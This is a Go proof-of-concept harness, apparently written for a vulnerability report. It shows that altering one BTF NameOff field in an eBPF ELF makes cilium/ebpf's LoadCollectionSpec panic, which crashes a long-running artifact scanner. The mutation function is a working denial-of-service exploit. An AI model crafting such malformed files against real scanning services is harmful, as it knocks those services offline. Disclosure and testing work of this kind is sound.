|
//go:build ignore |
|
|
|
package main |
|
|
|
import ( |
|
"bufio" |
|
"bytes" |
|
"debug/elf" |
|
"errors" |
|
"flag" |
|
"fmt" |
|
"os" |
|
"os/exec" |
|
"path/filepath" |
|
"strings" |
|
"syscall" |
|
"time" |
|
|
|
"github.com/cilium/ebpf" |
|
) |
|
|
|
type mutation struct { |
|
oldNameOff uint32 |
|
newNameOff uint32 |
|
fileOffset uint64 |
|
} |
|
|
|
func mutateOneBTFField(validELF []byte) ([]byte, mutation, error) { |
|
f, err := elf.NewFile(bytes.NewReader(validELF)) |
|
if err != nil { |
|
return nil, mutation{}, fmt.Errorf("open ELF: %w", err) |
|
} |
|
sec := f.Section(".BTF") |
|
if sec == nil { |
|
return nil, mutation{}, errors.New("ELF has no .BTF section") |
|
} |
|
if sec.Offset+sec.Size > uint64(len(validELF)) { |
|
return nil, mutation{}, errors.New(".BTF section exceeds file size") |
|
} |
|
|
|
out := append([]byte(nil), validELF...) |
|
btf := out[sec.Offset : sec.Offset+sec.Size] |
|
if len(btf) < 24 { |
|
return nil, mutation{}, errors.New(".BTF section is too short") |
|
} |
|
|
|
hdrLen := f.ByteOrder.Uint32(btf[4:]) |
|
typeLen := f.ByteOrder.Uint32(btf[12:]) |
|
stringLen := f.ByteOrder.Uint32(btf[20:]) |
|
if uint64(hdrLen)+uint64(typeLen) > uint64(len(btf)) { |
|
return nil, mutation{}, errors.New("invalid .BTF section bounds") |
|
} |
|
if typeLen < 4 { |
|
return nil, mutation{}, errors.New(".BTF type section is too short") |
|
} |
|
|
|
pos := sec.Offset + uint64(hdrLen) |
|
old := f.ByteOrder.Uint32(out[pos:]) |
|
f.ByteOrder.PutUint32(out[pos:], stringLen) |
|
|
|
return out, mutation{oldNameOff: old, newNameOff: stringLen, fileOffset: pos}, nil |
|
} |
|
|
|
func scannerWorker() { |
|
fmt.Println("WORKER_READY") |
|
sc := bufio.NewScanner(os.Stdin) |
|
for sc.Scan() { |
|
path := sc.Text() |
|
if path == "" { |
|
continue |
|
} |
|
|
|
_, err := ebpf.LoadCollectionSpec(path) |
|
if err != nil { |
|
fmt.Printf("REJECT %s: %v\n", filepath.Base(path), err) |
|
continue |
|
} |
|
fmt.Printf("ACCEPT %s\n", filepath.Base(path)) |
|
} |
|
if err := sc.Err(); err != nil { |
|
fmt.Println("INPUT_ERROR:", err) |
|
} |
|
} |
|
|
|
func scannerCLI(paths []string) int { |
|
for _, path := range paths { |
|
_, err := ebpf.LoadCollectionSpec(path) |
|
if err != nil { |
|
fmt.Printf("REJECT %s: %v\n", filepath.Base(path), err) |
|
continue |
|
} |
|
fmt.Printf("ACCEPT %s\n", filepath.Base(path)) |
|
} |
|
return 0 |
|
} |
|
|
|
func runHarness(input string) error { |
|
valid, err := os.ReadFile(input) |
|
if err != nil { |
|
return err |
|
} |
|
malicious, mut, err := mutateOneBTFField(valid) |
|
if err != nil { |
|
return err |
|
} |
|
|
|
dir, err := os.MkdirTemp("", "cilium-ebpf-btf-dos-") |
|
if err != nil { |
|
return err |
|
} |
|
defer os.RemoveAll(dir) |
|
|
|
benign1 := filepath.Join(dir, "01-benign.elf") |
|
bad := filepath.Join(dir, "02-malicious-btf-nameoff-eq-stringlen.elf") |
|
benign2 := filepath.Join(dir, "03-benign-after-malicious.elf") |
|
for _, item := range []struct { |
|
path string |
|
data []byte |
|
}{ |
|
{benign1, valid}, |
|
{bad, malicious}, |
|
{benign2, valid}, |
|
} { |
|
if err := os.WriteFile(item.path, item.data, 0644); err != nil { |
|
return err |
|
} |
|
} |
|
|
|
fmt.Printf("workspace: %s\n", dir) |
|
fmt.Printf("valid source ELF: %s (%d bytes)\n", input, len(valid)) |
|
fmt.Printf("malicious ELF: %s (%d bytes)\n", bad, len(malicious)) |
|
fmt.Printf("minimal mutation: one uint32 at file offset 0x%x: first btf_type.NameOff %d -> BTF StringLen %d\n", |
|
mut.fileOffset, mut.oldNameOff, mut.newNameOff) |
|
|
|
fmt.Println() |
|
fmt.Println("control: one-shot scanner on benign input") |
|
ctl := exec.Command(os.Args[0], "-scan", benign1) |
|
var ctlOut, ctlErr bytes.Buffer |
|
ctl.Stdout = &ctlOut |
|
ctl.Stderr = &ctlErr |
|
ctlRunErr := ctl.Run() |
|
fmt.Printf("command: %s -scan %s\n", os.Args[0], benign1) |
|
fmt.Printf("exit_code: %d\n", exitCode(ctlRunErr)) |
|
fmt.Printf("stdout:\n%s", indent(ctlOut.String())) |
|
fmt.Printf("stderr:\n%s", indent(ctlErr.String())) |
|
|
|
fmt.Println() |
|
fmt.Println("control: one-shot scanner on malformed ELF should reject, but currently panics") |
|
badCtl := exec.Command(os.Args[0], "-scan", bad) |
|
var badOut, badErr bytes.Buffer |
|
badCtl.Stdout = &badOut |
|
badCtl.Stderr = &badErr |
|
badRunErr := badCtl.Run() |
|
fmt.Printf("command: %s -scan %s\n", os.Args[0], bad) |
|
fmt.Printf("exit_code: %d\n", exitCode(badRunErr)) |
|
fmt.Printf("stdout:\n%s", indent(badOut.String())) |
|
fmt.Printf("stderr:\n%s", indent(firstLines(badErr.String(), 18))) |
|
|
|
fmt.Println() |
|
fmt.Println("impact: long-running artifact scanner worker") |
|
worker := exec.Command(os.Args[0], "-worker") |
|
stdin, err := worker.StdinPipe() |
|
if err != nil { |
|
return err |
|
} |
|
stdout, err := worker.StdoutPipe() |
|
if err != nil { |
|
return err |
|
} |
|
var workerErr bytes.Buffer |
|
worker.Stderr = &workerErr |
|
if err := worker.Start(); err != nil { |
|
return err |
|
} |
|
|
|
lines := make(chan string, 32) |
|
go func() { |
|
sc := bufio.NewScanner(stdout) |
|
for sc.Scan() { |
|
lines <- sc.Text() |
|
} |
|
close(lines) |
|
}() |
|
|
|
line, err := readLine(lines, "worker startup") |
|
if err != nil { |
|
return err |
|
} |
|
fmt.Printf("worker_startup: %s\n", line) |
|
|
|
fmt.Printf("send: %s\n", filepath.Base(benign1)) |
|
fmt.Fprintln(stdin, benign1) |
|
line, err = readLine(lines, "benign request") |
|
if err != nil { |
|
return err |
|
} |
|
fmt.Printf("worker_response: %s\n", line) |
|
|
|
fmt.Printf("send: %s\n", filepath.Base(bad)) |
|
fmt.Fprintln(stdin, bad) |
|
waitCh := make(chan error, 1) |
|
go func() { waitCh <- worker.Wait() }() |
|
|
|
var waitErr error |
|
select { |
|
case waitErr = <-waitCh: |
|
case <-time.After(5 * time.Second): |
|
_ = worker.Process.Kill() |
|
return errors.New("worker did not exit after malicious artifact") |
|
} |
|
|
|
fmt.Printf("worker_exit_code_after_malicious: %d\n", exitCode(waitErr)) |
|
fmt.Printf("worker_stderr:\n%s", indent(firstLines(workerErr.String(), 22))) |
|
|
|
fmt.Printf("follow_up: send %s after crash\n", filepath.Base(benign2)) |
|
_, writeErr := fmt.Fprintln(stdin, benign2) |
|
fmt.Printf("follow_up_write_error: %v\n", writeErr) |
|
fmt.Printf("worker_process_state_exited: %v\n", worker.ProcessState.Exited()) |
|
if status, ok := worker.ProcessState.Sys().(syscall.WaitStatus); ok { |
|
fmt.Printf("worker_wait_status: %v\n", status) |
|
} |
|
|
|
return nil |
|
} |
|
|
|
func readLine(ch <-chan string, label string) (string, error) { |
|
select { |
|
case line, ok := <-ch: |
|
if !ok { |
|
return "", fmt.Errorf("%s: stdout closed", label) |
|
} |
|
return line, nil |
|
case <-time.After(5 * time.Second): |
|
return "", fmt.Errorf("%s: timed out waiting for output", label) |
|
} |
|
} |
|
|
|
func exitCode(err error) int { |
|
if err == nil { |
|
return 0 |
|
} |
|
var ee *exec.ExitError |
|
if errors.As(err, &ee) { |
|
return ee.ExitCode() |
|
} |
|
return -1 |
|
} |
|
|
|
func indent(s string) string { |
|
if s == "" { |
|
return " <empty>\n" |
|
} |
|
var b strings.Builder |
|
for _, line := range strings.Split(strings.TrimRight(s, "\n"), "\n") { |
|
b.WriteString(" ") |
|
b.WriteString(line) |
|
b.WriteByte('\n') |
|
} |
|
return b.String() |
|
} |
|
|
|
func firstLines(s string, n int) string { |
|
lines := strings.Split(strings.TrimRight(s, "\n"), "\n") |
|
if len(lines) == 1 && lines[0] == "" { |
|
return "" |
|
} |
|
if len(lines) > n { |
|
lines = append(lines[:n], fmt.Sprintf("... truncated %d lines ...", len(lines)-n)) |
|
} |
|
return strings.Join(lines, "\n") + "\n" |
|
} |
|
|
|
func main() { |
|
worker := flag.Bool("worker", false, "run long-running artifact scanner worker") |
|
scan := flag.Bool("scan", false, "run one-shot scanner on paths") |
|
input := flag.String("input", "cmd/bpf2go/testdata/minimal-el.elf", "valid eBPF ELF used as mutation source") |
|
flag.Parse() |
|
|
|
switch { |
|
case *worker: |
|
scannerWorker() |
|
case *scan: |
|
os.Exit(scannerCLI(flag.Args())) |
|
default: |
|
if err := runHarness(*input); err != nil { |
|
fmt.Fprintln(os.Stderr, err) |
|
os.Exit(1) |
|
} |
|
} |
|
} |